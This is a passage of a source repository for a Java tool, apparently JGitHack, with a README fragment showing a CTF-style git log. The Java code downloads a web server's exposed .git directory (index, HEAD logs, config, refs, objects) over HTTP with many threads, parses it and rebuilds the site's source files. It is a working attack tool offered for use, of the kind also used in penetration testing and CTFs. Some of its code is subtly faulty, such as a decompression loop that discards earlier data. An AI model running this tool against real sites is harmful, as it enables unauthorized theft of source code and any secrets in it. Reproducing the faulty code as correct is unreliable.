commit da06087a0b893ddb6b6c857e53ce4387c96785ab 62 | Author: tmp 63 | Date: Fri Sep 16 13:13:16 2016 +0800 64 | edit flag.php 65 | commit 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88 66 | Author: tmp 67 | Date: Fri Sep 16 13:09:53 2016 +0800 68 | test 69 | 70 | MacBook-Air$ git checkout 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88 71 | Note: checking out '12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88'. 72 | HEAD is now at 12c6ddf... test 73 | ``` 74 | -------------------------------------------------------------------------------- /release/JGitHack.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WangWen-Albert/JGitHack/aee1378ce80c8d2c6a20c9edfba0b00135843006/release/JGitHack.jar -------------------------------------------------------------------------------- /src/java/com/jgithack/Main.java: -------------------------------------------------------------------------------- 1 | /** 2 | * JHack.net 3 | * Copyright (c) 2004-2016 All Rights Reserved. 4 | */ 5 | package com.jgithack; 6 | 7 | import java.awt.EventQueue; 8 | 9 | import com.jgithack.hack.GitHack; 10 | import com.jgithack.lang.StringUtil; 11 | import com.jgithack.log.LogUtils; 12 | import com.jgithack.ui.HomeFrame; 13 | 14 | /** 15 | * Main 16 | * 17 | * @author Albert Wang 18 | * @version $Id: GitHack.java, V0.1 2016-10-29 20:10:00, jawangwen@qq.com $ 19 | */ 20 | public class Main { 21 | /** 22 | * main 23 | * 24 | * @param args 25 | * @return 26 | * @throws Exception 27 | */ 28 | public static void main(String[] args) { 29 | String rootUrl = args.length > 2 ? args[1] : null; 30 | try { 31 | if (StringUtil.isBlank(rootUrl)) { 32 | EventQueue.invokeLater(new Runnable() { 33 | public void run() { 34 | HomeFrame homeFrame = new HomeFrame(); 35 | homeFrame.setLocationRelativeTo(null); 36 | homeFrame.setVisible(true); 37 | } 38 | }); 39 | } else { 40 | GitHack hack = new GitHack().withRootUrl(rootUrl).nativeFirst(true).skipError(true) 41 | .build(); 42 | hack.checkout(); 43 | LogUtils.info("Complete!"); 44 | } 45 | } catch (Exception exception) { 46 | LogUtils.error(exception, "GitHack run failed!"); 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/java/com/jgithack/core/IndexParse.java: -------------------------------------------------------------------------------- 1 | /** 2 | * JHack.net 3 | * Copyright (c) 2004-2016 All Rights Reserved. 4 | */ 5 | package com.jgithack.core; 6 | 7 | import java.io.File; 8 | import java.io.IOException; 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | 12 | import com.jgithack.io.FileUtils; 13 | import com.jgithack.model.IndexEntry; 14 | 15 | /** 16 | * IndexParse-".git/index"文件解析方法 17 | * 18 | * @author Albert Wang 19 | * @version $Id: IndexParse.java, V0.1 2016-10-29 20:05:00, jawangwen@qq.com $ 20 | */ 21 | public class IndexParse { 22 | /** ".git/index"文件路径 */ 23 | private String indexPath; 24 | 25 | /** ".git/index"文件里的信息 */ 26 | private List indexEntries; 27 | 28 | /** 29 | * 加载".git/index"文件进行解析 30 | * 31 | * @param indexPath 32 | * @return 加载后的解析方法对象(该对象可获取解析结果) 33 | * @throws Exception 加载失败则抛出异常 34 | */ 35 | public static IndexParse load(String indexPath) throws IOException { 36 | IndexParse indexParse = new IndexParse(indexPath); 37 | indexParse.parse(); 38 | return indexParse; 39 | } 40 | 41 | /** 42 | * 获取".git/index"文件里的信息 43 | * 44 | * @return 45 | */ 46 | public List getIndexEntries() { 47 | return indexEntries != null ? indexEntries : new ArrayList(); 48 | } 49 | 50 | /** 51 | * 构造器方法,请使用load接口来加载和解析".git/index"文件 52 | * 53 | * @param indexPath ".git/index"文件地址 54 | */ 55 | private IndexParse(String indexPath) { 56 | this.indexPath = indexPath; 57 | } 58 | 59 | /** 60 | * 解析".git/index"文件 61 | * 62 | * @throws IOException 解析失败则抛出异常 63 | */ 64 | private void parse() throws IOException { 65 | List result = new ArrayList(); 66 | 67 | try { 68 | IndexReader reader = new IndexReader(indexPath); 69 | 70 | String signature = reader.nextString(4); 71 | if (!"DIRC".equals(signature)) { 72 | throw new IOException("Not a GIT index file"); 73 | } 74 | 75 | Integer version = reader.nextInteger(); 76 | if (version < 2 || version > 3) { 77 | throw new IOException(String.format("Unsupported version: %s", version)); 78 | } 79 | 80 | Integer entrySize = reader.nextInteger(); 81 | for (int id = 1; id <= entrySize; id++) { 82 | IndexEntry entry = new IndexEntry(); 83 | 84 | entry.setId(id); 85 | entry.setSecondsCreated(reader.nextInteger()); 86 | entry.setNanosecondsCreated(reader.nextInteger()); 87 | entry.setSecondsModified((reader.nextInteger())); 88 | entry.setNanosecondsModified(reader.nextInteger()); 89 | entry.setDev(reader.nextInteger()); 90 | entry.setIno(reader.nextInteger()); 91 | entry.setMode(Integer.toOctalString(reader.nextInteger())); 92 | entry.setUid(reader.nextInteger()); 93 | entry.setGid(reader.nextInteger()); 94 | entry.setSize(reader.nextInteger()); 95 | entry.setSha1(reader.nextHexString(20)); 96 | entry.setFlags(reader.nextShort()); 97 | entry.setAssumeValid(isMask(entry.getFlags(), 0x8000)); 98 | entry.setExtended(isMask(entry.getFlags(), 0x4000)); 99 | 100 | boolean stage1 = isMask(entry.getFlags(), 0x2000); 101 | boolean stage2 = isMask(entry.getFlags(), 0x1000); 102 | entry.setStage(new Boolean[] { stage1, stage2 }); 103 | 104 | int entryLen = 62; 105 | 106 | if (entry.getExtended() && version == 3) { 107 | entry.setExtraFlags(reader.nextShort()); 108 | entry.setReserved(isMask(entry.getExtraFlags(), 0x8000)); 109 | entry.setSkipWorktree(isMask(entry.getExtraFlags(), 0x4000)); 110 | entry.setIntentToAdd(isMask(entry.getExtraFlags(), 0x2000)); 111 | entryLen += 2; 112 | } 113 | 114 | int nameLen = entry.getFlags() & 0xFFF; 115 | entry.setName(nameLen == 0xFFF ? reader.nextString() : reader.nextString(nameLen)); 116 | entryLen += entry.getName().length(); 117 | int padlen = 8 - (entryLen % 8); 118 | reader.checkAndSkipPads((byte) 0, padlen > 0 ? padlen : 8); 119 | 120 | result.add(entry); 121 | } 122 | 123 | indexEntries = result; 124 | } catch (Exception exception) { 125 | throw new RuntimeException(exception); 126 | } 127 | } 128 | 129 | /** 130 | * 掩码判断 131 | * 132 | * @param value 133 | * @param code 134 | * @return 135 | */ 136 | private Boolean isMask(int value, int code) { 137 | return (value & code) != 0; 138 | } 139 | 140 | private class IndexReader { 141 | private final byte[] data; 142 | private int offset; 143 | 144 | public IndexReader(String indexPath) throws IOException { 145 | File file = new File(indexPath); 146 | data = FileUtils.readFileToByteArray(file); 147 | offset = 0; 148 | } 149 | 150 | public String nextString() { 151 | int start = offset; 152 | while (true) { 153 | if (offset + 1 > data.length) { 154 | throw new RuntimeException("nextString failed, offset: " + offset); 155 | } 156 | if (data[offset++] == 0) { 157 | break; 158 | } 159 | } 160 | return new String(data, start, offset - start); 161 | } 162 | 163 | public String nextString(int len) { 164 | if (offset + len > data.length) { 165 | throw new RuntimeException(String.format("nextString failed, offset: %d, len: %d", 166 | offset, len)); 167 | } 168 | 169 | String result = new String(data, offset, len); 170 | offset += len; 171 | return result; 172 | } 173 | 174 | public String nextHexString(int byteNum) { 175 | if (offset + byteNum > data.length) { 176 | throw new RuntimeException(String.format( 177 | "nextHexString failed, offset: %d, byteNum: %d", offset, byteNum)); 178 | } 179 | 180 | StringBuffer sb = new StringBuffer(byteNum * 2); 181 | for (int index = 0; index < byteNum; index++) { 182 | String hex = Integer.toHexString(data[offset++] & 0xFF); 183 | sb.append(hex.length() < 2 ? "0" : "").append(hex); 184 | } 185 | return sb.toString(); 186 | } 187 | 188 | public Integer nextInteger() { 189 | if (offset + 4 > data.length) { 190 | throw new RuntimeException("nextInteger failed, offset: " + offset); 191 | } 192 | 193 | int result = 0; 194 | 195 | result |= (data[offset + 0] & 0xFF) << 24; 196 | result |= (data[offset + 1] & 0xFF) << 16; 197 | result |= (data[offset + 2] & 0xFF) << 8; 198 | result |= (data[offset + 3] & 0xFF); 199 | 200 | offset += 4; 201 | 202 | return result; 203 | } 204 | 205 | public Short nextShort() { 206 | if (offset + 2 > data.length) { 207 | throw new RuntimeException("nextShort failed, offset: " + offset); 208 | } 209 | 210 | int result = 0; 211 | 212 | result |= (data[offset + 0] & 0xFF) << 8; 213 | result |= (data[offset + 1] & 0xFF); 214 | 215 | offset += 2; 216 | 217 | return (short) result; 218 | } 219 | 220 | public void checkAndSkipPads(byte expected, int len) { 221 | if (offset + len > data.length) { 222 | throw new RuntimeException(String.format( 223 | "checkAndSkipPads failed, offset: %d, len: %d", offset, len)); 224 | } 225 | 226 | for (int index = 0; index < len; index++) { 227 | if (data[offset] != expected) { 228 | throw new RuntimeException(String.format( 229 | "Invalid Pad, actual: %s, expected: %s", data[offset], expected)); 230 | } 231 | offset++; 232 | } 233 | } 234 | } 235 | } 236 | -------------------------------------------------------------------------------- /src/java/com/jgithack/core/ObjectParse.java: -------------------------------------------------------------------------------- 1 | /** 2 | * JHack.net 3 | * Copyright (c) 2004-2016 All Rights Reserved. 4 | */ 5 | package com.jgithack.core; 6 | 7 | import java.io.ByteArrayInputStream; 8 | import java.io.File; 9 | import java.io.IOException; 10 | import java.util.HashSet; 11 | import java.util.Set; 12 | import java.util.regex.Matcher; 13 | import java.util.regex.Pattern; 14 | import java.util.zip.InflaterInputStream; 15 | 16 | import com.jgithack.io.FileUtils; 17 | 18 | /** 19 | * ObjectParse-.git/objects的解析方法 20 | * 21 | * @author Albert Wang 22 | * @version $Id: GitHack.java, V0.1 2016-10-29 20:03:00, jawangwen@qq.com $ 23 | */ 24 | public class ObjectParse { 25 | private final Pattern headPattern = Pattern.compile("^(\\w+)\\s+(\\d+)"); 26 | private final Pattern commitPattern = Pattern.compile("^tree.+?([0-9a-zA-Z]+)"); 27 | 28 | private File objectFile; 29 | private byte[] objectData; 30 | private String objectType; 31 | private String objectText; 32 | private Set relatedSha1; 33 | 34 | /** 35 | * 加载object文件进行解析 36 | * 37 | * @param objectPath object文件地址 38 | * @return 加载后的解析方法对象(该对象可获取解析结果) 39 | * @throws Exception 加载失败则抛出异常 40 | */ 41 | public static ObjectParse load(String objectPath) throws IOException { 42 | ObjectParse objectParse = new ObjectParse(objectPath); 43 | objectParse.parse(); 44 | return objectParse; 45 | } 46 | 47 | /** 48 | * 获取GIT对象类型 49 | * 50 | * @return GIT对象类型 51 | */ 52 | public String getType() { 53 | return objectType; 54 | } 55 | 56 | /** 57 | * 获取GIT对象文件内容 58 | * 59 | * @return GIT对象文件内容 60 | */ 61 | public String catFile() { 62 | return objectText; 63 | } 64 | 65 | /** 66 | * 查找GIT对象关联的其他对象 67 | * 68 | * @return 被关联对象的sha1集合 69 | */ 70 | public Set findRelatedSha1() { 71 | return relatedSha1 != null ? relatedSha1 : new HashSet(); 72 | } 73 | 74 | /** 75 | * 构造器方法,请使用load接口来加载和解析GIT对象文件 76 | * 77 | * @param objectPath GIT对象文件地址 78 | * @throws IOException 79 | */ 80 | private ObjectParse(String objectPath) throws IOException { 81 | objectFile = new File(objectPath); 82 | objectData = unzip(FileUtils.readFileToByteArray(objectFile)); 83 | relatedSha1 = new HashSet(); 84 | } 85 | 86 | /** 87 | * 对对象文件的原始字节inflater解压缩 88 | * 89 | * @param bytes 对象文件的原始字节素组 90 | * @return 解压缩后的字节素组 91 | * @throws IOException 解压缩失败则抛出异常 92 | */ 93 | private byte[] unzip(byte[] bytes) throws IOException { 94 | if (bytes != null) { 95 | byte[] result = new byte[0]; 96 | 97 | InflaterInputStream stream = new InflaterInputStream(new ByteArrayInputStream(bytes)); 98 | while (true) { 99 | byte[] buffer = new byte[1024]; 100 | int size = stream.read(buffer, 0, buffer.length); 101 | if (size < 0) { 102 | break; 103 | } 104 | result = new byte[result.length + size]; 105 | System.arraycopy(buffer, 0, result, 0, size); 106 | } 107 | 108 | return result; 109 | } 110 | return null; 111 | } 112 | 113 | /** 114 | * 解析对象文件 115 | * 116 | * @throws IOException 117 | */ 118 | private void parse() throws IOException { 119 | ObjectReader reader = new ObjectReader(objectData); 120 | 121 | objectType = reader.nextHead(); 122 | if (objectType.equals("commit")) { 123 | objectText = reader.nextString(); 124 | Matcher matcher = commitPattern.matcher(objectText); 125 | if (matcher.find()) { 126 | relatedSha1.add(matcher.group(1)); 127 | } 128 | } else if (objectType.equals("tree")) { 129 | while (reader.isAvailable()) { 130 | reader.nextString(); // blobInfo 131 | String blobSha1 = reader.nextHexString(20); 132 | relatedSha1.add(blobSha1); 133 | } 134 | } else if (objectType.equals("blob")) { 135 | objectText = reader.nextString(); 136 | } else { 137 | throw new IOException(String.format("Unsupport object type \"%s\", file: %s", 138 | objectType, objectFile)); 139 | } 140 | } 141 | 142 | /** 143 | * ObjectReader-.git/objects文件解压缩后的字节读取器 144 | * 145 | * @author Albert Wang 146 | * @version $Id: ObjectParse.java, V0.1 Oct 30, 2016 3:47:32 PM jawangwen@qq.com $ 147 | */ 148 | private class ObjectReader { 149 | private final byte[] data; 150 | private int offset = 0; 151 | private int limit = 0; 152 | 153 | /** 154 | * 读取器构造方法 155 | * 156 | * @param objectData 待读取的字节数组 157 | */ 158 | public ObjectReader(byte[] objectData) { 159 | this.data = objectData; 160 | } 161 | 162 | /** 163 | * 探测是否还有未读取的字节 164 | * 165 | * @return 166 | */ 167 | public boolean isAvailable() { 168 | return offset < limit; 169 | } 170 | 171 | /** 172 | * 读取头部,并返回对象类型 173 | * 174 | * @return 头部指明的对象文件类型 175 | * @throws IOException 读取失败则抛出异常 176 | */ 177 | public String nextHead() throws IOException { 178 | String head = nextString(); 179 | 180 | Matcher headMatcher = headPattern.matcher(head); 181 | if (!headMatcher.find()) { 182 | throw new IOException(String.format("Unkown object head \"%s\"", head)); 183 | } 184 | 185 | objectType = headMatcher.group(1); 186 | limit += head.length() + 1 + Integer.valueOf(headMatcher.group(2)); 187 | if (limit > data.length) { 188 | throw new IOException(String.format("Invalid head size, head: %s", head)); 189 | } 190 | 191 | return objectType; 192 | } 193 | 194 | /** 195 | * 读取下一批字节作为字符串(截至到0x00或数据末尾) 196 | * 197 | * @return 已读取的字符串 198 | */ 199 | public String nextString() { 200 | int start = offset; 201 | int length = 0; 202 | 203 | while (offset < data.length && data[offset++] != 0) { 204 | length++; 205 | } 206 | 207 | return new String(data, start, length); 208 | } 209 | 210 | /** 211 | * 读取下一批字节作为十六进制字符串 212 | * 213 | * @param byteNum 需要读取的字节数 214 | * @return 已读取的十六进制字符串 215 | */ 216 | public String nextHexString(int byteNum) { 217 | if (offset + byteNum > data.length) { 218 | throw new RuntimeException(String.format( 219 | "nextHexString failed, offset: %d, byteNum: %d", offset, byteNum)); 220 | } 221 | 222 | StringBuffer sb = new StringBuffer(byteNum * 2); 223 | for (int index = 0; index < byteNum; index++) { 224 | String hex = Integer.toHexString(data[offset++] & 0xFF); 225 | sb.append(hex.length() < 2 ? "0" : "").append(hex); 226 | } 227 | 228 | return sb.toString(); 229 | } 230 | } 231 | } 232 | -------------------------------------------------------------------------------- /src/java/com/jgithack/core/PageDownload.java: -------------------------------------------------------------------------------- 1 | /** 2 | * JHack.net 3 | * Copyright (c) 2004-2016 All Rights Reserved. 4 | */ 5 | package com.jgithack.core; 6 | 7 | import java.io.File; 8 | import java.io.IOException; 9 | import java.io.InputStream; 10 | import java.net.HttpURLConnection; 11 | import java.net.URL; 12 | import java.util.Arrays; 13 | import java.util.Map; 14 | import java.util.Map.Entry; 15 | 16 | import com.jgithack.io.FileUtils; 17 | import com.jgithack.lang.StringUtil; 18 | 19 | /** 20 | * PageDownload-页面下载方法 21 | * 22 | * @author Albert Wang 23 | * @version $Id: PageDownload.java, V0.1 2016-10-29 20:00:00, jawangwen@qq.com $ 24 | */ 25 | public class PageDownload { 26 | /** 页面地址 */ 27 | private String remoteUrl; 28 | 29 | /** 访问参数 */ 30 | private Map params; 31 | 32 | /** 重试次数 */ 33 | private int tryTimes = 3; 34 | 35 | /** 本地文件是否优先,如果本地优先并且本地文件存在,下载动作不会被执行 */ 36 | private boolean nativeFirst = false; 37 | 38 | /** 39 | * 页面下载方法 40 | * 41 | * @param remoteUrl 页面地址 42 | */ 43 | public PageDownload(String remoteUrl) { 44 | this.remoteUrl = assureRemoteUrl(remoteUrl); 45 | } 46 | 47 | /** 48 | * 页面下载方法 49 | * 50 | * @param remoteUrl 页面地址 51 | * @param params 访问参数,可为null 52 | */ 53 | public PageDownload(String remoteUrl, Map params) { 54 | this.remoteUrl = assureRemoteUrl(remoteUrl); 55 | this.params = params; 56 | } 57 | 58 | /** 59 | * 设置访问参数(如果有参数的话) 60 | * 61 | * @param params 访问参数,可为null 62 | * @return 页面下载方法对象 63 | */ 64 | public PageDownload withParams(Map params) { 65 | this.params = params; 66 | return this; 67 | } 68 | 69 | /** 70 | * 设置下载重试次数(如果需要重试的话) 71 | * 72 | * @param tryTimes 下载重试次数 73 | * @return 页面下载方法对象 74 | */ 75 | public PageDownload withTryTimes(int tryTimes) { 76 | this.tryTimes = tryTimes; 77 | return this; 78 | } 79 | 80 | /** 81 | * 设置本地文件优先(如果不希望重复下载的话) 82 | * 83 | * @param enable true表示本地文件优先,false表示远程文件优先 84 | * @return 页面下载方法对象 85 | */ 86 | public PageDownload nativeFirst(boolean enable) { 87 | this.nativeFirst = enable; 88 | return this; 89 | } 90 | 91 | /** 92 | * 下载页面并保存到本地文件 93 | * 94 | * 如果设置了本地优先并且本地文件存在,下载动作不会被执行 95 | * 96 | * @param localPath 要保存到的本地文件地址 97 | * @return 文件的字节数 98 | * @throws IOException 99 | */ 100 | public long saveAs(String localPath) throws IOException { 101 | long pageSize = 0; 102 | File localFile = new File(localPath); 103 | 104 | if (!nativeFirst || !localFile.exists()) { 105 | for (int tryTimes = 0; tryTimes < this.tryTimes; tryTimes++) { 106 | try { 107 | pageSize = doSave(localFile); 108 | if (pageSize > 0) { 109 | break; 110 | } 111 | } catch (Exception exception) { 112 | if (tryTimes == this.tryTimes) { 113 | throw new IOException("saveAs failed, localPath: " + localPath, exception); 114 | } 115 | } 116 | } 117 | } else { 118 | pageSize = localFile.length(); 119 | } 120 | 121 | return pageSize; 122 | } 123 | 124 | /** 125 | * 执行下载,并保存到本地文件 126 | * 127 | * @param localFile 要保存到的本地文件地址 128 | * @return 文件的字节数 129 | * @throws IOException 130 | */ 131 | private long doSave(File localFile) throws IOException { 132 | long pageSize = -1; 133 | 134 | HttpURLConnection httpConnection = newHttpConnection(encodeUrl(remoteUrl, params)); 135 | int code = httpConnection.getResponseCode(); 136 | InputStream inputStream = httpConnection.getInputStream(); 137 | try { 138 | if (code != HttpURLConnection.HTTP_OK) { 139 | throw new RuntimeException(String.format("Read Page failed, code: %s", code)); 140 | } 141 | 142 | byte[] buffer = new byte[1024]; 143 | while (true) { 144 | int result = inputStream.read(buffer, 0, buffer.length); 145 | if (result < 0) { 146 | break; 147 | } 148 | pageSize = pageSize >= 0 ? pageSize : 0; 149 | byte[] output = Arrays.copyOf(buffer, result); 150 | FileUtils.writeByteArrayToFile(localFile, output, (pageSize > 0)); 151 | pageSize += result; 152 | } 153 | } finally { 154 | inputStream.close(); 155 | httpConnection.disconnect(); 156 | } 157 | 158 | return pageSize; 159 | } 160 | 161 | /** 162 | * 确认页面地址是否合法 163 | * 164 | * @param remoteUrl 页面地址 165 | * @return 若合法,则返回地址地址本身 166 | */ 167 | private String assureRemoteUrl(String remoteUrl) { 168 | if (StringUtil.isBlank(remoteUrl)) { 169 | throw new RuntimeException("Empty remoteUrl"); 170 | } 171 | if (!remoteUrl.toLowerCase().startsWith("http://")) { 172 | throw new RuntimeException("Invalid remoteUrl(not start with http://): " + remoteUrl); 173 | } 174 | return remoteUrl; 175 | } 176 | 177 | /** 178 | * 对页面地址及访问参数进行编码 179 | * 180 | * @param remoteUrl 页面地址 181 | * @param params 访问参数(可以为null) 182 | * @return 编码后的地址 183 | */ 184 | private String encodeUrl(String remoteUrl, Map params) { 185 | StringBuffer sb = new StringBuffer(remoteUrl); 186 | 187 | if (params != null) { 188 | sb.append("?"); 189 | for (Entry param : params.entrySet()) { 190 | sb.append(param.getKey()); 191 | sb.append("="); 192 | sb.append(String.valueOf(param.getValue())); 193 | sb.append("&"); 194 | } 195 | if (sb.charAt(sb.length() - 1) == '&') { 196 | sb.deleteCharAt(sb.length() - 1); 197 | } 198 | } 199 | 200 | return sb.toString().replaceAll(" ", "%20"); 201 | } 202 | 203 | /** 204 | * 创建HTTP连接 205 | * 206 | * @param requestUrl 编码后的页面地址 207 | * @return 打开后的HTTP连接 208 | * @throws IOException 209 | */ 210 | private HttpURLConnection newHttpConnection(String requestUrl) throws IOException { 211 | try { 212 | URL url = new URL(requestUrl); 213 | 214 | HttpURLConnection httpConnection = (HttpURLConnection) url.openConnection(); 215 | httpConnection.setRequestMethod("GET"); 216 | httpConnection.setDoOutput(true); 217 | httpConnection.setDoInput(true); 218 | httpConnection.setReadTimeout(3000); 219 | 220 | return httpConnection; 221 | } catch (Exception exception) { 222 | throw new IOException("New HTTP Connection failed", exception); 223 | } 224 | } 225 | } 226 | -------------------------------------------------------------------------------- /src/java/com/jgithack/hack/GitHack.java: -------------------------------------------------------------------------------- 1 | /** 2 | * JHack.net 3 | * Copyright (c) 2004-2016 All Rights Reserved. 4 | */ 5 | package com.jgithack.hack; 6 | 7 | import java.io.File; 8 | import java.io.IOException; 9 | import java.net.MalformedURLException; 10 | import java.util.HashSet; 11 | import java.util.Set; 12 | import java.util.concurrent.BlockingQueue; 13 | import java.util.concurrent.ConcurrentHashMap; 14 | import java.util.concurrent.ConcurrentMap; 15 | import java.util.concurrent.LinkedBlockingQueue; 16 | import java.util.concurrent.ThreadPoolExecutor; 17 | import java.util.concurrent.TimeUnit; 18 | import java.util.concurrent.atomic.AtomicInteger; 19 | import java.util.regex.Matcher; 20 | import java.util.regex.Pattern; 21 | 22 | import com.jgithack.core.IndexParse; 23 | import com.jgithack.core.ObjectParse; 24 | import com.jgithack.core.PageDownload; 25 | import com.jgithack.io.FileUtils; 26 | import com.jgithack.lang.StringUtil; 27 | import com.jgithack.log.LogUtils; 28 | import com.jgithack.model.IndexEntry; 29 | 30 | /** 31 | * GitHack 32 | * 33 | * @author Albert Wang 34 | * @version $Id: GitHack.java, V0.1 2016-10-29 20:10:00, jawangwen@qq.com $ 35 | */ 36 | public class GitHack { 37 | private final Pattern logPattern = Pattern.compile("^([0-9a-zA-Z]+) ([0-9a-zA-Z]+)"); 38 | 39 | private static Set sha1Skipped = new HashSet(); 40 | { 41 | sha1Skipped.add("0000000000000000000000000000000000000000"); 42 | } 43 | 44 | private String rootUrl = ""; 45 | private String downloadDir = null; 46 | private int tryTimes = 3; 47 | private boolean nativeFirst = false; 48 | private boolean skipError = true; 49 | 50 | private int threadSize = 20; 51 | private BlockingQueue tasks = new LinkedBlockingQueue(); 52 | private ThreadPoolExecutor executor = new ThreadPoolExecutor(threadSize, threadSize, 53 | 30, TimeUnit.SECONDS, tasks); 54 | 55 | public GitHack() { 56 | } 57 | 58 | public GitHack(String rootUrl) throws MalformedURLException { 59 | this.withRootUrl(rootUrl).withDownloadDir(this.rootUrl.replace("http://", "")); 60 | } 61 | 62 | public GitHack(String rootUrl, String downloadDir) { 63 | this.withRootUrl(rootUrl).withDownloadDir(downloadDir); 64 | } 65 | 66 | public GitHack withRootUrl(String rootUrl) { 67 | this.rootUrl = StringUtil.trimToEmpty(rootUrl).replaceFirst("/(\\w*?)\\.(\\w+)$", "") 68 | .replaceAll("/$", ""); 69 | return this; 70 | } 71 | 72 | public GitHack withDownloadDir(String downloadDir) { 73 | this.downloadDir = StringUtil.trimToEmpty(downloadDir).replaceAll("/$", ""); 74 | return this; 75 | } 76 | 77 | public GitHack withTryTimes(int tryTimes) { 78 | this.tryTimes = tryTimes; 79 | return this; 80 | } 81 | 82 | public GitHack nativeFirst(boolean enable) { 83 | this.nativeFirst = enable; 84 | return this; 85 | } 86 | 87 | public GitHack skipError(boolean enable) { 88 | this.skipError = enable; 89 | return this; 90 | } 91 | 92 | public GitHack withThreadSize(int threadSize) { 93 | this.threadSize = threadSize; 94 | return this; 95 | } 96 | 97 | /** 98 | * Build hack, i.e. object directories 99 | * 100 | * @return 101 | * @throws IOException 102 | * @throws InterruptedException 103 | */ 104 | public GitHack build() throws IOException, InterruptedException { 105 | boolean done = false; 106 | long startTime = System.currentTimeMillis(); 107 | 108 | try { 109 | LogUtils.info("GitHack build start"); 110 | 111 | assureParams(); 112 | 113 | LogUtils.info("rootUrl: %s", rootUrl); 114 | LogUtils.info("downloadDir: %s", downloadDir); 115 | 116 | downloadFile("/.git/index"); 117 | downloadFile("/.git/logs/HEAD"); 118 | downloadFile("/.git/config"); 119 | downloadFile("/.git/COMMIT_EDITMSG"); 120 | downloadFile("/.git/HEAD"); 121 | downloadFile("/.git/refs/heads/master"); 122 | 123 | downloadObjects(); 124 | 125 | done = true; 126 | 127 | LogUtils.info("GitHack build success"); 128 | } finally { 129 | LogUtils.info("GitHack done(%s) cost %ss", done ? "Y" : "N", 130 | (System.currentTimeMillis() - startTime) / 1000); 131 | } 132 | 133 | return this; 134 | } 135 | 136 | public void checkout() throws IOException { 137 | LogUtils.info("GitHack checkout start"); 138 | 139 | for (IndexEntry entry : IndexParse.load(downloadDir + "/.git/index").getIndexEntries()) { 140 | downloadObject(entry.getSha1()); 141 | restoreObjectToFile(entry.getSha1(), entry.getName()); 142 | } 143 | 144 | LogUtils.info("GitHack checkout success"); 145 | } 146 | 147 | public void close() { 148 | executor.shutdownNow(); 149 | LogUtils.info("GitHack is closing.."); 150 | } 151 | 152 | private String downloadFile(String pagePath) throws IOException { 153 | try { 154 | String requestUrl = rootUrl + pagePath; 155 | String filePath = downloadDir + pagePath; 156 | long fileSize = new PageDownload(requestUrl).withTryTimes(tryTimes) 157 | .nativeFirst(nativeFirst).saveAs(filePath); 158 | if (fileSize <= 0) { 159 | throw new IOException("None read from page: " + requestUrl); 160 | } 161 | LogUtils.info("download file \"%s\", size: %s", pagePath, fileSize); 162 | return filePath; 163 | } catch (IOException exception) { 164 | if (!skipError) { 165 | throw exception; 166 | } 167 | LogUtils.error(exception, "download page failed, file: %s", pagePath); 168 | return null; 169 | } 170 | } 171 | 172 | private void downloadObjects() throws IOException, InterruptedException { 173 | AtomicInteger taskCount = new AtomicInteger(0); 174 | ConcurrentMap result = new ConcurrentHashMap(); 175 | try { 176 | for (String sha1 : readCommitSha1(downloadDir + "/.git/logs/HEAD")) { 177 | startObjectDownload(sha1, taskCount, result); 178 | } 179 | 180 | while (taskCount.get() > 0) { 181 | Thread.sleep(1000); 182 | } 183 | 184 | for (IOException exception : result.values()) { 185 | if (!(exception instanceof NotException)) { 186 | throw exception; 187 | } 188 | } 189 | } catch (IOException exception) { 190 | if (!skipError) { 191 | throw new IOException("download objects failed", exception); 192 | } 193 | LogUtils.error(exception, "download objects failed"); 194 | } 195 | } 196 | 197 | private String downloadObject(String sha1) throws IOException { 198 | try { 199 | String folder = String.format("/.git/objects/%s/%s", sha1.substring(0, 2), 200 | sha1.substring(2)); 201 | String requestUrl = rootUrl + folder; 202 | String objectPath = downloadDir + folder; 203 | long objectSize = new PageDownload(requestUrl).withTryTimes(tryTimes) 204 | .nativeFirst(nativeFirst).saveAs(objectPath); 205 | if (objectSize <= 0) { 206 | throw new IOException("None read from requestUrl: " + requestUrl); 207 | } 208 | LogUtils.info("download object, sha1: %s, size: %s", sha1, objectSize); 209 | return objectPath; 210 | } catch (IOException exception) { 211 | if (!skipError) { 212 | throw exception; 213 | } 214 | LogUtils.error(exception, "download object failed, sha1: %s", sha1); 215 | } 216 | return null; 217 | } 218 | 219 | private void restoreObjectToFile(String sha1, String filePath) throws IOException { 220 | filePath = filePath.startsWith("/") ? filePath : "/" + filePath; 221 | LogUtils.info("restore file: %s, sha1: %s", filePath, sha1); 222 | try { 223 | // 下载文件 224 | String folder = String.format("/.git/objects/%s/%s", sha1.substring(0, 2), 225 | sha1.substring(2)); 226 | 227 | // 解压文件 228 | String fileContent = ObjectParse.load(downloadDir + folder).catFile(); 229 | 230 | // 存储文件 231 | File localFile = new File(downloadDir + filePath); 232 | FileUtils.writeStringToFile(localFile, fileContent.replaceFirst("^blob \\d+\\x00", "")); 233 | } catch (IOException exception) { 234 | if (!skipError) { 235 | throw exception; 236 | } 237 | LogUtils.error(exception, "download failed, filePath: %s, sha1: %s", filePath, sha1); 238 | } 239 | } 240 | 241 | /** 242 | * 解压对象为文本 243 | * 244 | * @param filePath 解决路径 245 | * @return 246 | * @throws IOException 247 | */ 248 | private void assureParams() throws IOException { 249 | if (StringUtil.isBlank(rootUrl)) { 250 | throw new IOException("Empty rootUrl"); 251 | } 252 | if (!rootUrl.toLowerCase().startsWith("http://")) { 253 | throw new IOException("Invalid rootUrl(not start with http://): " + rootUrl); 254 | } 255 | if (StringUtil.isBlank(downloadDir)) { 256 | this.withDownloadDir(this.rootUrl.replace("http://", "")); 257 | } 258 | } 259 | 260 | private Set readCommitSha1(String logPath) throws IOException { 261 | Set result = new HashSet(); 262 | 263 | File file = new File(logPath); 264 | for (String line : FileUtils.readLines(file)) { 265 | Matcher matcher = logPattern.matcher(line); 266 | if (matcher.find()) { 267 | if (!sha1Skipped.contains(matcher.group(1))) { 268 | result.add(matcher.group(1)); 269 | } 270 | if (!sha1Skipped.contains(matcher.group(2))) { 271 | result.add(matcher.group(2)); 272 | } 273 | } 274 | } 275 | 276 | return result; 277 | } 278 | 279 | private void startObjectDownload(String sha1, AtomicInteger taskCount, 280 | ConcurrentMap result) { 281 | if (!result.containsKey(sha1)) { 282 | if (result.putIfAbsent(sha1, new NotException()) == null) { 283 | executor.execute(new ObjectDownload(sha1, taskCount, result)); 284 | taskCount.getAndIncrement(); 285 